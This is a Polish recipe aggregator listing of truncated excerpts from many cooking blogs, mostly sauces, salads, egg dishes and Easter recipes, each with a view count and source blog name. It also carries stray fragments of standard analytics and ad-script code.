Cebulę obrać, pokroić w piórka roztopić masło na patelni, dołożyć pieczarki i cebulę. Nie solić! Smażyć na dość silnym ogniu, żeby puściły jak najwięcej soku. Gdy się zrumienią, a sos odparuje, oprószyć solą i pieprzem i dolać śmietanę. Poddusić jeszcze kilka minut, aż śmietana zgęstnieje podawać posypane natką zielonej pietruszki

Gotuj zdrowo!Guten Appetit!
Placuszki z tuńczyka 223

natką pietruszki gotowe 20 minut:) Czas wykonania: 20 min Ilość porcji: 8 sztuk (3 – 4 porcje) Składniki: 2 puszki tuńczyka w wodzie lub w sosie własnym 2 duże jajka 6 – 7 łyżek bułki tartej 3 łyżki posiekanej pietruszki szczypta soli szczypta pieprzu 1 łyżka oleju kokosowego lub rzepakowego Przygotowanie: Rybę odsączyć z wody/sosu i przełożyć

KuchniaWeDwoje.pl
Sałatka z czarną quinoą, czosnkiem niedźwiedzim i hiszpańskim kozim serem Curado z dodatkiem czerwonego wina 145

miski. Dodajemy pomidorki przekrojone na połówki, quinoę, plasterki czarnego czosnku. Za pomocą obieraczki do warzyw, lub tarki kroimy ser na cienkie plasterki i wrzucamy je do sałatki. Wszystko polewamy sosem z oliwy z oliwek, octu Jerez, pieprzu i soli.  Smacznego

Quinoa Raz!
Lazania inaczej 280

Inaczej, bo bez sosu pomidorowego i bez beszamelu. Za to z dużą ilością warzyw, ze szpinakiem, łososiem oraz serkiem ricotta. Zwykle przygotowujemy tradycyjną mięsną lazanię (lasagne) lub taką ze szpinakiem, ale ta dzisiejsza również nam bardzo smakowała. Należy jednak pamiętać, by dobrze doprawić szpinak, bo to on nadaje lazanii głównego charakteru. 9-12 płatów makaronu do lazanii (my zwykle używamy

Smaki Na Talerzu
Gofry 443

Składniki: 4 jajka 200 g cukru 1 kostka masła 300 g mąki 2 łyżeczki proszku do pieczenia 2 łyżki rumu dodatki: bita śmietana ulubione sosy konfitury wiśniowe Sposób przygotowania: Do … Czytaj dalej Gofry

czarrna od kuchni
Pomysł na… klopsa bardzo włoskiego 171

jest tyle, ile głów, które pomyślą nad tym, co schować w środku… i czy w ogóle coś chować. Ja schowałam pomidory suszone i mozzarellę. Podałam z makaronem w sosie pomidorowym z bazylią i ostrą papryczką. Zabrakło tylko parmezanu ;) 600 g mięsa mielonego z piersi kurczaka 1 pęczek natki pietruszki 125 g sera mozzarella (1 kulka) ok. 6 pomidorów suszonych

Kucharzyca
Surówka z kapusty pekińskiej z suszonymi pomidorami 186

pół talarki. Pietruszkę drobno posiekać, wszystko wrzucić do miski z kapustą i wymieszać. Olej z suszonych pomidorów wymieszać z sokiem z cytryny, miodem, doprawić do smaku solą i pieprzem. Sosem polać surówkę, wymieszać. Smacznego

magiczna kuchnia Kasi
Miodowe pałki kurczaka 222

sprawdzić miękkość mięsa. W razie gdyby było twardawe, a mocno się dopiekało, obniżamy temperaturę o około 5-10 stopni i pieczemy do miękkości). W trakcie pieczenia polewamy mięso powstałym sosem.   Źródło

Smaki Na Talerzu
Udka w sosie własnym 316

angielskie i liść laurowy.Przykryć pokrywką, gotować na wolnym ogniu ok 30 minut, aż mięso będzie miękkie. 3. Mąkę (i ewentualnie śmietanę) rozrobić w odrobinie zimnej wody, wlać do sosu, mieszać do zagęszczenia. Na koniec doprawić solą, pieprzem i majerankiem. 4. Podawać wedle uznania. Smacznego

Kuchnia domowa Ani
Przekąska – kaszka z mleczkiem! 226

których nie jadam.  Maltodekstryna też jest obecna,ale ona jest wszędzie,np.w produktach takich jak -żywność dla niemowląt produkty w proszku (w tym napoje) oraz przyprawy słodycze, karmelki sosy wędliny i mięsa lody napoje sportowe odżywki dla sportowców owoce w puszkach, konserwy słodziki suplementy diety leki Spożywana z umiarem ,nie jest szkodliwa dla zdrowia. Jedynym problemem może być fakt

Z Kuchni Do Kuchni
Klasyczna sałatka Caprese 178

potrawy oraz minimalizmem składników, ale za to z idealnym ich doborem 😃 Mnie Caprese najlepiej smakuje jako samodzielne i lekkie danie z dodatkiem chrupiącej bagietki z masłem (maczana w powstałym sosie, mniammm!), ale może również stanowić 'świeży' dodatek do mięsnego obiadu. Taka prosta, a taaaaka pyszna! 😋 1 duża porcja: * mozzarella- 1 szt. * pomidor- 1 duży * świeża bazylia- 1 garść listków * oliwa

Kraina Miodem Płynąca
Przepiórki pieczone 147

przepiórki sól pieprz pieprz ziołowy staropolski 1 łyżeczka sosu sojowego ciemnego majeranek szczypta czosnku niedźwiedziego 3 łyżki oliwy Przepiórki myjemy i osuszamy, marynatę przygotowujemy w miseczce. Nacieramy nią ptaszki i odstawiamy na godzinę lub dwie. Układamy w naczyniu żaroodpornym, wlewamy 1/3 szkl wody. Piekarnik nagrzewamy do 200 st , wstawiamy przepiórki i pieczemy ok 30 -35 min z termoobiegiem. Podajemy

Gotowanie jest łatwe
Spring rolls z pieczonym łososiem 226

Pomimo brzydkiej pogody i mroźnego wiatru dziś będzie wiosennie na moim talerzu - spring rolls są idealne na obiad, kolację czy przekąskę. Mój mąż ostatnio szaleje za takimi przysmakami. Sos na bazie pomarańczy idealnie komponuje się z rolkami :) Czytaj więcej

Ana Mari's world
Makaron z boczkiem i rukolą 217

wierzch posypać startym parmezanem. Makaron podawać bezpośrednio po przygotowaniu. SMACZNEGO!   Uwagi do przepisu: Z podanych składników wychodzi porcja dla 3 dorosłych osób. Makaron należy gotować równocześnie z przygotowywaniem sosu. Źródło przepisu: Wielkie Żarcie

Gospodyni Miejska
Dietetyczne placuszki z kalafiora 249

wymagają wiele pracy. Jest to danie wegetariańskie i bardzo lekkie – w sam raz po świątecznym obżarstwie. Jeden placuszek to tylko około 58 kcal. Podałam je z sosem czosnkowym na bazie jogurtu naturalnego. Są idealne zarówno na obiad, jak i śniadanie czy ciepłą kolację. Składniki na około 8 placuszków: kalafior średnia marchew 3 łyżki otrębów owsianych 3 łyżki mąki (dałam

e-PrzepisyKulinarne
Kurczak Caprese zapiekany z mozzarellą, bazylią i pomidorami 309

cienkie plasterki. Powkładaj w nacięcia wraz z listkami bazylii. Passatę wymieszaj z otartym ząbkiem czosnku, solą, pieprzem i posiekaną drobno bazylią. Żaroodporne naczynie posmaruj oliwą z oliwek, wylej sos i ułóż piersi z kurczaka. Wstaw do piekarnika nagrzanego do 220ºC. Piecz około 20-25 minut. Następnie posyp dodatkową porcją bazylii. Podawaj ze świeżym pieczywem

Food Square
Kurczak tikka masala 149

drugiej patelni wlej 1 łyżkę oleju, wrzuć kurczaka i smaż aż się ładnie zarumieni z każdej strony.  Odrobinę posól i popierz do smaku. Przełóż go do patelni z sosem. Gotuj przez kilka minut lub aż kurczak przestanie być surowy w środku. Dopraw do smaku jeżeli to konieczne. Wymieszaj delikatnie jogurt i podawaj danie z ryżem, posypane kolendrą. Smacznego, Anulla

Fabryka pomysłów
“Kuchnia grecka” – recenzja 199

greckie ogórkowe pikle z ouzo, hummus z orzeszkami i kolendrą, dip z przypalonej cebuli i twarogu, kalmary podawane z arbuzem i kozim serem, zupa avgolemono z serem halloumi i sos avgolemono jako dodatek do gnocchi, czy pasticcio, czyli grecka zapiekanka makaronowa. Jest trochę greckiego streetfoodu np. frytki z fetą czy tosty fasolowe z opiekacza. Są patenty na wzmocnienie smaku przez

Ugotowane pozamiatane
Wielkanocne potrawy z Marco Ghia - warsztaty kulinarne 222

był strzał w dziesiątkę.  Zagościła ona również na moim świątecznym stole. Jest bardzo prosta w wykonaniu, a efekt doskonały. Niezwykłe były też wołowe ogony uduszone w obłędnym zawiesistym sosie przygotowanym na bazie selera naciowego, cebuli, marchewki, pulpy z pomidora i oczywiście dużej ilości czerwonego wytrawnego wina.  Bardzo pozytywnie zaskoczył mnie również deser, czyli smażone ryżowe placuszki. Były bardzo

Kulinarne przygody Gatity
Sałatka z pęczaku, soi i fasoli 304

smakuje mi jednak najbardziej. Wybieram do niej ulubione warzywa, a ostatnio testuję z różnymi rodzajami fasoli jak dzisiaj. Znajdziecie tu zieloną soję, białą i czarną fasolę zamarynowane z pysznym sosie. Marynowana fasola świetnie pasuje do łagodnego w smaku pęczaku. Zielona soja przypomina trochę bób ale jest od niego mniejsza i twardsza. Gotuję ją tak samo jak fasolę ale nie muszę

codojedzenia
Naleśnikowe szlafroczki 168

małych   kiełbasek z szynki 3 oczyszczone i posiekane pieczarki mała puszka   kukurydzy (140 g netto), może być z fasolką ser żółty (ulubiony) starty na tarce jarzynowej sos pomidorowy Wykonanie: Naleśniki posmarowałam 1 łyżką przecieru pomidorowego. Na środek każdego naleśnika układałam po jednej kiełbasce,   po łyżeczce kukurydzy i pieczarek. Na wierzchu rozłożyłam starty ser. Naleśniki złożyłam w chusteczkę

Kuchnia u Krysi
Sałatka warzywna z czerwoną fasolą 190

kostkę i dodajemy do pozostałych warzyw. Dodajemy odcedzony groszek, fasolkę i kukurydzę. Ogórki kiszone kroimy w kostkę i dodajemy do sałatki. Majonez mieszamy z jogurtem naturalnym, musztardą i przyprawami. Sos dodajemy do sałatki i dokładnie mieszamy. Podajemy z dodatkiem pieczywa💚Smacznego

kulinarne odsłony pati
Najlepsze ciasto na pieczone pierogi 156

pracy czy jako przystawka na imprezie. Świetnie smakują na zimno, jeszcze lepiej na ciepło. Wielbiciele dipów mają duże pole do popisu, mogą maczać pieczone pierogi i zajadać je z sosami takimi jak; czosnkowy, ziołowy czy śmietanowy Składniki: Farsz: pierś z kurczaka przyprawa Kotani Gyros pół opakowania świeżego baby szpinaku  ( biedronka) kilka suszonych pomidorów w oleju ( najlepsze z Biedronki

Rusty Fork
Sałata z kurczakiem w bułce panko 165

obtaczamy w bułce panko z dodatkiem soli na dość głębokim tłuszczu, osączamy na ręczniku papierowym. na talerzu układamy sałatę, pokrojone pomidory i cebulę, pokrojoną na kawałki pierś, wszystko polewamy sosem przygotowanym z jogurtu, majonezu czosnku i soli. smacznego

Gocha gotuje!
Zapiekanka z cukinii, bobu i ziemniaków z sosem serowo-koperkowym 157

żółtego sera, podgrzewamy, aż się roztopi, doprawiamy świeżo mielonym pieprzem i posiekanym koperkiem (zostawiamy kilka gałązek do dekoracji). mieszamy cukinię z bobem i ziemniakami, przekładamy do naczynia żaroodpornego, zalewamy sosem, ścieramy na to resztę sera i posypujemy odrobiną posiekanego koperku. pieczemy w nagrzanym do 180 stopni piekarniku najpierw 30 minut pod przykryciem, a następnie zdejmujemy pokrywkę i pieczemy kolejne

Gocha gotuje!
Pierogi drożdżowe z bobem i serem typu rokpol 193

wykrawamy krążki, nakładamy farsz i zalepiamy. pierogi układamy na papierze, smarujemy białkiem i przyklejamy listek natki. pieczemy w piekarniku nagrzanym do 180 stopni przez 20 minut. konsumujemy np z sosem z jogurtu i czosnku lub z jogurtu z dodatkiem sera typu rokpol :) smacznego

Gocha gotuje!
Kotleciki z komosą ryżową i czosnkiem niedźwiedzim 225

smażenia. Smażyć kotleciki  na średnim ogniu ok 3 minut z każdej strony na złoty kolor.  W razie potrzeby dodać oleju. Podawać z kawałkiem cytryny i sosem jogurtowym. Smacznego

Stare Gary
Schab gotowany. Wędlina na kanapki czy na pieczeń na obiad? 225

zdążyłam już opublikować przepisu ale to nic nie szkodzi bo możecie go zrobić w każdym czasie. Jest soczysty, i kruchy zarazem, idealny do kanapek ale jako pieczeń z dobrym sosem będzie znakomity. Schab gotowany. Wędlina na kanapki czy pieczeń na obiad?                Składniki: 1 - 1,2 kg schabu wieprzowego 1,5 łyżki soli

Moje Małe Czarowanie
Amish pickled eggs. Jajka marynowane z buraczkami. 205

się nimi postukać i mamy wielu chętnych współzawodników. Powstaje wtedy mały problem - kto i w jakiej postaci je potem skonsumuje? Można zrobić z nich sałatkę, jajka w chrzanie, w sosie musztardowym itd.. Można też skorzystać ze starego holenderskiego przepisu pensylwańskich Amiszów i szybko zamarynować je z buraczkami. Efekt jest bardzo ciekawy. Smaczny i kolorowy. Bardzo smaczny i bardzo kolorowy

zadanie-gotowanie
JAJKA FASZEROWANE ZIOŁAMI 293

napełniamy jajka. Rada: tak faszerowane jajka możemy zapiec w piekarniku 15-20 minut w temperaturze 180 stopni C lub podawać na zimno jajka faszerowane ziołami bardzo dobrze smakują z sosem tatarskim jajka można posypać z wierzchu startym żółtym serem i zapiec w przepisie nie podawałam soli, gdyż moja przyprawa do jajek zawierała sól, ale jak najbardziej można dodać do smaku

Ciastka - domowe słodkości
Potrawy z białą kiełbasą. Jak ugotować białą surową kiełbasę? 230

Pieczeń rzymska z białą kiełbasą , pyszna na zimno z chrzanem lub sosem rosyjskim . Może być równiez daniem obiadowym, podana wraz z ziemniakami i surówką.                                                                   - - - - - - - - - - - - - - - - - Pieczone pierożki

Codziennik Kuchenny
Pasztet jajeczny z pieczarkami 194

Jest idealny dla osób, które nie jedzą mięsa, a mają ochotę na coś pysznego. Można go podać z pieczywem, zarówno ciemnym jak i jasnym, a także z różnego rodzaju sosami: czosnkowym, tatarskim, chrzanowym i surówką ze świeżych warzyw. Można go jeść zarówno na ciepło, jak i na zimno, choć mi osobiście o wiele bardziej smakuje na zimno. Składniki na pasztet

e-PrzepisyKulinarne
Sałatka z tuńczykiem i kaszą gryczaną 180

suszonymi pomidorami. Jest sycąca ale zarazem bardzo lekka. Przygotowałam ją na piątkową kolację, następnego dnia zabrałam ją jeszcze do pracy. Składniki: 100 gram kaszy gryczanej 2 puszki tuńczyka w sosie własnym 1 puszka zielonego groszku 1 duża czerwona papryka 1 słoik suszonych pomidorów 1 łyżeczka czubrycy zielonej Sól himalajska Pieprz 3-4 łyżki oleju lnianego Sposób przygotowania: Kaszę gryczaną gotujemy

Bajeczna Kuchnia
Mazurek wielkanocny z powidłami i kremem orzechowym 267

proste, ale zarazem efektywne. Ten przepis na mazurka jest dowodem, że efekt wow możemy uzyskać niekoniecznie dużym nakładem pracy. Przygotowałam dziś wypiek na kruchym cieście z powidłami śliwkowymi oraz sosem z masła orzechowego połączonego z mascarpone. Mojego mazurka ozdobiłam bukszpanem oraz jajeczkami czekoladowymi w kolorowej skorupce. Aby przygotować ładny spód do mazurka potrzebujemy albo ładnej formy, albo wyobraźni (na przykład

Kuchnia Bazylii
Jajka zapiekane w cieście francuskim 223

francuskim. Jajka ułożone są na "podstawce" z mięsa mielonego. Tak przygotowane jajka można podawać na ciepło lub na zimno podobnie jak jajka po szkocku . Idealnie będzie do nich pasował sos chrzanowy lub tatarski . składniki: 6 jajek ok 350 g mięsa mielonego, u mnie karkówka 1 łyżka bułki tartej sól czubryca czerwona 1 opakowanie ciasta francuskiego (300 g) siemię lniane złote

Monia miesza i gotuje
Gulasz z serc wieprzowych. 180

garnka dorzucamy włoszczyznę. Pokrojone serca podsmażamy z cebulką. Bulion miksujemy blenderem.  Zagęszczamy szklanką mleka z czubatą łyżką mąki. Gotujemy kaszę. Usmażone serca przekładamy z patelni do sosu. Podajemy na gorąco z kaszą. Smacznego

chleba naszego
Pasztet z sarny 190

musi być bardzo miękkie  Pamiętajmy o  częstym mieszaniu czosnek możemy wycisnąć ja kroje zawsze drobno w kosteczkę Podczas smażenia mięso sarny wypuści soki nie zlewajcie wytworzy się sos własny Gdy mięso będzie mięciutkie na tyle ze palce będą się załamywać pod naciskiem wyciągamy mięso do studzenia i warzywa. NASZ bulion zostawiamy będziemy go potrzebować Gdy bulion ostygnie namoczyć

Viola cooks with passion
Sałatka z tuńczykiem i makaronem ryżowym 463

hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} Składniki: 2 puszki tuńczyka w sosie własnym 150g makaronu typu ryż papryka 4 ogórki kiszone 4 jajka puszka kukurydzy 1/2 czerwonej cebuli 1/3 szklanki słonecznika sól, pieprz majonez Makaron ugotować według instrukcji na opakowaniu, ostudzić. Tuńczyka

kulinarnyswiatdomi
Duszony karczek z pieca 191

pieprz prażona cebulka Przygotowanie Mięso opłukać i porządnie osuszyć. Następnie pokroić w kostkę (dowolnej wielkości) i przyprawić solą, pieprzem, majerankiem i kminkiem ( ja jeszcze  na patelni polałam odrobiną sosu sojowego). Obsmażyć na gorącej patelni z łyżką oleju kokosowego wraz z listkami laurowymi i całym nie obranym czosnkiem z każdej strony na ładny brązowy kolor.   Mięso przełożyć

Gaździnka warzy
Bitki wieprzowe w pieczarkach 176

smaku. Dusimy pod przykryciem do miękkości. Gdy mięso będzie miękkie, wlewamy śmietanę i dodatkowo ponownie niewielką ilość masła klarowanego. Wszystko razem delikatnie gotujemy do momentu zredukowania i zagęszczenia sosu. SMACZNEGO. (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date

Smaki Ewy
Pasztet z ciecierzycy 201

lodówce (została po drugim rzucie napoleonek), postawiłem własnie na pasztet z ciecierzycy . Na blogu znajdziesz również pasztet sojowy oraz pasztet ze śliwką . Pytania i odpowiedzi: Czy do glazury sos BBQ jest niezbędny? Nie. Z powodzeniem możesz użyć ketchupu – najlepiej z dodatkiem papryki wędzonej. Co zamiast nasion chia? Jeśli chcesz zastąpić, to możesz użyć zmielonego siemienia lnianego lub ewentualnie pominąć

Blendman
Wielkanoc z przepisami Eat me Fit me oraz przepis na kokosowo-orzechowy bezglutenowy mazurek bez cukru 274

przepisami na wielkanocny stół, zainspiruj się i wypróbuj moje przepisy Możesz wybierać spośród lekkich przystawek, w których główną rolę ogrywa jajko – wypróbuj jajka z sosem miętowo-czosnkowym na bazie jogurtu lub jajka w gniazdach z kiełków z szynką i chrzanem . A może zamiast żurku zrobisz w tym roku krem szpinakowo – czosnkowy z jajkiem i rzeżuchą? Możesz skorzystać również

Eat me! Fit me!
Smażona wątróbka cielęca 262

odpocząć”. Przed podaniem przygotowujemy puree ziemniaczane. Ubijamy je bardzo starannie na gładką masę dodając z międzyczasie kilka łyżeczek śmietany, łyżkę masła oraz płaską łyżeczkę gałki muszkatołowej. Wątróbkę podajemy z sosem z szalotek i puree ziemniaczanym. Kulinarna Pokusa Post Smażona wątróbka cielęca pojawił się poraz pierwszy w Kulinarna Pokusa

Kulinarna Pokusa
Jajka faszerowane tuńczykiem i czosnkiem niedźwiedzim 190

dzielenia się zdjęciami w zakładce Komentarz. Smacznego Składniki Wykonanie Wskazówki Składniki: 6 jajek ugotowanych na twardo 15 liści czosnku niedźwiedziego 1 puszka tuńczyka w oleju bądź w sosie własnym szczypta soli szczypta pieprzu 1 łyżka kwaśnej śmietany Tuńczyka odcedzić, każde jajko przekroić na pół. Do blendera włożyć pokrojony czosnek niedźwiedzi, odcedzonego tuńczyka, sól, pieprz, śmietanę oraz żółtka z ugotowanych jajek

mecooks
Marchewkowe naleśniki z serkiem i owocami 192

łyżki cukru brązowego 2 jajka 2 łyżki stopionego masła 1¼ szklanki mąki ( u mnie orkiszowa typ 600) ¾ łyżeczki cynamonu szczypta soli olej kokosowy albo masło klarowane do smażenia SOS OWOCOWY 250 g mrożonych lub świeżych owoców ( u mnie wiśnia i resztka mieszanki leśnej) 2-3 łyżki miodu albo cukru brązowego ½ łyżeczki mąki ziemniaczanej SEREK 200 g białego serka typu

Cooking for Emily
Domowy dietetyczny majonez 302

łyżek!). Do porównania prezentowany poniżej majonez  zawiera tylko 107 kcal w 100 g. Są w nim jednak składniki, na które warto zwrócić uwagę, bo działają korzystnie na organizm. Sos majonezowy ma szerokie zastosowanie, możesz go dodawać do większości potraw, takich jak: sałatki, burgery, ryby, dania mięsne oraz do przystawek i dodatków do dań: frytek, jaj, warzyw, wrapów czy kanapek

Menu Zdrowia
Schab krótko gotowany 411

miejscu. Dzień 3 : Schabowego wyjmujemy z zalewy i zawijamy w folię spożywczą. Przechowujemy w lodówce.  Schab krótko gotowany pokrojony w grubsze plastry możemy podawać na ciepło np z sosem chrzanowym natomiast cienko krojony będzie świetnym dodatkiem do kanapek

Mechanik w kuchni
Restaurant Week w Novocaina: emocje na talerzach 181

wodze fantazji. Głównym punktem potrawy jest roladka z perliczki, skrywająca w sobie świeżą śliwkę, która nie dominuje nad łagodnym smakiem mięsa, co śliwka suszona mogłaby uczynić. Smak wspaniale dopełnia sos z czerwonego wina. Jednak moim ulubionym fragmentem układanki była komosa podana z granatem. Uwielbiam użycie tych owoców w wytrawnych daniach — ich słodko-cierpki smak zdecydowanie pobudza zmysły. Przyjemnym dodatkiem

Food Square
CIELĘCINA W ŚMIETANIE 177

Duże kawałki cielęcego mięsa  skąpane w śmietanowym sosie ... 💗 Składniki: 1 kg cielęciny bez kości sól pieprz słodka papryka szczypta cząbru 2 cebule 2 ząbki czosnku śmietana 18% klarowane masło koperek lub natka Wykonanie: Cielęcinę kroimy na kawałki. Posypujemy solą, pieprzem, cząbrem i odrobiną papryki. Podsmażamy na sklarowanym maśle z obu stron. Następnie dorzucamy pokrojoną cebulę i posiekane ząbki czosnku

Walijskie Pichcenie
SURÓWKA ZDROWIA 258

Talerz pełen witamin i pyszności :) Moje sałatki często powstają według schematu: zielsko + awokado + inne warzywa + bakalie + sos. Zawsze wychodzi smacznie. Czytaj więcej

Kasia Sarna
Pizzerinki z salami, rukolą,cukinią i serem korycińskim swojskim 211

łyżeczki soli 1 łyżka oliwy z oliwek Dodatki: 150 g sera korycińskiego swojskiego kilka pomidorków koktajlowych salami kawałek cukinii 1/2 małej czerwonej cebuli 1 ząbek czosnku oregano rukola Sos: ketchup suszone pomidory z bazylią i czosnkiem 1. Do wysokiego kubka rozkruszamy drożdże, dajemy cukier, troszkę wody, mieszamy, żeby drożdże się rozpuściły, dodajemy łyżkę, dwie mąki, mieszamy. Nakrywamy ściereczką i odstawiamy

kruche babeczki
Jajka po szkocku 207

rozpłaszczyć ją, włożyć do środka całe jajo i delikatnie zlepić. Tak przygotowane jajka w mięsie smażyć na patelni, albo piec w piekarnik. Podawać na ciepło lub zimno, z ulubionym sosem lub chrzanem. (adsbygoogle = window.adsbygoogle || []).push

Wilczkowy Świat - nasze codzienne gotowanie
PIZZA Z PIECZARKAMI 195

Ogórki i natkę drobno siekam. Ciasto smaruję koncentratem następnie przekładam pieczarki z cebulą, ogórki oraz natkę pietruszki i ser. Piekę ok 25 min w 180 stopniach. Podaję z ulubionym sosem

Gotowanie Patki
Moje propozycje babek na Wielkanoc 243

Babka makowo-piaskowa Babka piaskowa Babka cytrynowa Babka z migdałami Babka cynamonowo-kakaowa z orzechami Babka z czekoladowymi groszkami Szybka babka B abka z nadzieniem gruszkowo-orzechowym z sosem karmelowym

Mania Wypiekania
Czekoladowe babeczki do koszyczka. 151

Składniki; 12 dag masła 3/4 szkl. cukru kryształu 4- 5 łyżek kakao 2 jajka 1 szkl. śmietany 18% 2 szkl. mąki pszennej 1 łyżeczka proszku do pieczenia 1 łyżeczka sosy oczyszczonej     Przygotowanie; Masło z cukrem należy utrzeć mikserem aż będzie jasna i puszysta masa. Po tym czasie wbijać jajka , ciągle miksując. Następnie na przemian dodawać mąkę wymieszaną

Radość kipiąca uśmiechem.
Jajka faszerowane tuńczykiem 160

czemu każdy znajdzie swój ulubiony smak. Dodatek wyrazistego tuńczyka doskonale komponuje się z delikatnym smakiem jajka a rzeżucha dodatkowo go zaostrza. Sk ł adniki: 6 jajek puszka tuńczyka w sosie własnym 2 łyżki majonezu 6 rzodkiewek rzeżucha ś wie ż o zmielony czarny pieprz Sposób przygotowania : Jajka gotujemy na twardo w osolonej wodzie. Studzimy, obieramy i rozkrawamy na pół. Tuńczyka

Pyry na Gaz
Roladki z kurczaka z orzechami 182

oraz orzechów. Wszystko zawinięte w małe roladki. Po prostu pyszne. A jeśli lubicie odejśc od tradycji jeszcze bardziej i chcielibyście podać w święta coś bardziej "egzotycznego" proponuję roladki z sosem cytrynowo-imbirowym, na które przepis znajdziecie pod tym linkiem  klik .     ROLADKI Z KURCZAKA II Składniki: 6 udek kurczaka (bez kości) sól, pieprz, czerwona papryka słodka garść

Bon appetit mon amie
filety dorsza i pstrąga z patelni... 184

czarny, do worka wkładaćdzwonki ryb i obtaczać je mąką na bardzo gorącym oleju smażyć rumiane dzwonki ryb, ryba jest chrupiąca, z wierzchu i soczysta w środku, można podać z sosem cytrynowym (jest u mnie w przepisach "zobacz TUTAJ" ) lub z czym się lubi.............SMACZNEGO

W Mojej Kuchni Lubię
Cytrynowo – pieprzowa polędwiczka wieprzowa 365

mięso będzie gotowe (dosłownie 10 minut, jeżeli plastry nie są za grube). Ważne, by nie przetrzymać mięsa zbyt długo, bo będzie suche i twarde. Gotowe mięso polewamy na talerzu sosem, który pozostał na patelni. Smacznego

MarcinChef
Wielkanocna sałatka z szynką i jajkiem 606

twardo, studzimy i obieramy. Szynkę, jajka i rzodkiewkę kroimy w kostkę. Szczypiorek siekamy. Groszek odsączamy z zalewy. Wszystkie składniki przekładamy do jednej miski. Majonez łączymy z jogurtem i przyprawami. Sosem polewamy resztę składników i dokładnie mieszamy. Sałatkę odstawiamy na godzinę do lodówki. sałatka z szynką i jajkiem Artykuł Wielkanocna sałatka z szynką i jajkiem pochodzi z serwisu Przepisy Kulinarne

e-PrzepisyKulinarne
KARKÓWKA DUSZONA W CEBULI 247

SKŁADNIKI:   10 plastrów Karkówki bez kości 4 cebule czerwone 3 łyżki prażonej cebuli 100 ml wody Marynata 50 ml sosu sojowego 2 łyżki wegety 2 łyżki czerwonej słodkiej papryki 1 łyżka czosnku granulowanego 1 łyżka papryki ostrej 1 łyżeczka pieprzu PRZYGOTOWANIE: Mięso myję. Plastry mięsa rozbijam dokładnie. W miseczce łącze składniki marynaty. Każdy plaster dokladnie nacieram. Cebulę obieram

Gotowanie Patki
Zapiekane babeczki z szyneczki, jajka i pieczarek 227

Szynka, smażone pieczarki oraz jajko + kilka podstawowych przypraw, zapieczone w formie na muffiny- oto sposób na pomysłowe śniadanie/kolację (np.; polane kremowym  sosem chrzanowym ), a mnie nawet bardziej pasuje jako prosty lecz niebanalny obiad- z dodatkiem pieczonych ziemniaczków i mizerii... Mniam, mniam! ☺️ Zamiast wsadu z pieczarek można pokusić się o inne dodatki, typu: ser, papryka, cukinia, suszone

Kraina Miodem Płynąca
Jajka faszerowane szynką 174

Jajka faszerowane szynką z dodatkiem chrzanu, musztardy i suszonej śliwki. Moje ulubione – ostre i ciekawe z smaku:) Najlepiej smakują polane sosem. Czas wykonania: 20 min Ilość porcji: 6 sztuk (3 porcje) Składniki: 3 jajka 50 g szynki drobiowej 3 – 4 sztuki suszonych śliwek 2 łyżeczki musztardy 2 łyżeczki tartego chrzanu Przygotowanie: Jajka gotować przez

KuchniaWeDwoje.pl
Biała kiełbasa zapiekana ze śliwkami 174

białą kiełbasę jada się tylko na Wielkanoc  (a to jest wielki błąd). Na wielkanocnym stole pojawia się ona u nas w wersji tradycyjnej- parzona, w towarzystwie chrzanowego sosu. Oprócz tego wymyślam co roku nowy sposób jak podać w nieco innej formie. Póki co zajadaliśmy się białą kiełbasą pod pierzynką  (polecam!!!). Tym razem postanowiłam spróbować jak biała kiełbasa będzie

Pobite gary Barbary
Babka kokosowa z olejem rzepakowym 279

mojej wielkanocnej kuchni nie może zabraknąć oleju rzepakowego, ponieważ w przedświątecznych przygotowaniach jest niezastąpiony. Można na nim smażyć i dusić warzywa i mięsa. Jest podstawą majonezów, dressingów i sosów do sałatek i jajek. Idealnie nadaje się do pieczenia ciast, a babki na oleju są wilgotne i długo zachowują świeżość

Obiad gotowy
pieczony łosoś 292

włożyć również do środka. Szczelnie zawinąć folię, żeby para podczas pieczenia nie wydostawała się na zewnątrz. Piec w piekarniku nagrzanym do 190°C przez około 20 minut. Podawać z sosem holenderskim

stajnia gołębie od kuchni
Sos czosnkowy. 156

Sos czosnkowy chyba wszyscy znają :) Każdy ma swój sposób na jego przygotowanie. Ja najbardziej lubię ten. Składniki: 3 ząbki czosnku 3 łyżki majonezu 3 łyżki jogurtu naturalnego 1 łyżka gęstej śmietany sól, pieprz Czosnek przecisnąć przez praskę,dodać majonez, jogurt i śmietanę.Przyprawić solą i pieprzem. Wymieszać i gotowe

Agusiowe smakołyki
Kurczak z brokułami w sosie śmietanowym 259

Podzielę się z Wami przepisem na pyszne szybkie danie , w roli głównej kurczak , brokuły i makaron :) .Jest to od jakiegoś czasu najlepszy obiadek mojej rodzinki . Kurczak z brokułami w sosie śmietanowym 2 piersi kurczaka 500 g brokułów szklanka śmietany szklanka bulionu drobiowego 2 łyżki maki sól  pieprz olej do smażenia 1.Przyprawioną wcześniej pierś pokrój w kostkę i podsmaż

Różne smaki w kuchni
Roladki schabowe w sosie pomidorowo- serowym 175

Schab to nie tylko kotlety schabowe :)  Można zrobić z niego wyśmienite roladki schabowe w sosie pomidorowym. Dzisiejsza propozycja jest tego dowodem :) Potrzebne nam będą:     1/2 kg schabu bez kości  1 średni ogórek kiszony  50 dag sera żółtego w kawałku  musztarda pomidory w puszce albo koncentrat pomidorowy  sól, pieprz , olej  wykałaczki  Mięso

Różne smaki w kuchni
Zielone kopytka 200

ciasto będzie ładnie odchodziło od rąk. Następnie formujemy wałki i kroimy kopytka. Całośc gotujemy w osolonej wodzie do momentu wypłynięcia kopytek na powierzchnie wody. Można tak ugotowane kopytka polać sosem gulaszowym z surówką ( ja tak podałam ) Smacznego

Różne smaki w kuchni
Cannelloni w sosie z ricotty 167

osolonej wodzie. Naczynie żaroodporne natłuścić lekko masłem i makaronowe rurki nadziewać przygotowanym farszem. Następnie ułożyć w naczyniu i przykryć resztą pomidorów. Ricottę wymieszać z mlekiem, doprawić solą i pieprzem. Sosem polać makaron i posypać tartym parmezanem. Piec ok. 30 minut w temp. 200 C ( pilnujemy jak danie się pięknie rumieni, może to być krócej albo dłużej w zależności jaki posiadamy

Różne smaki w kuchni
Snikers 250

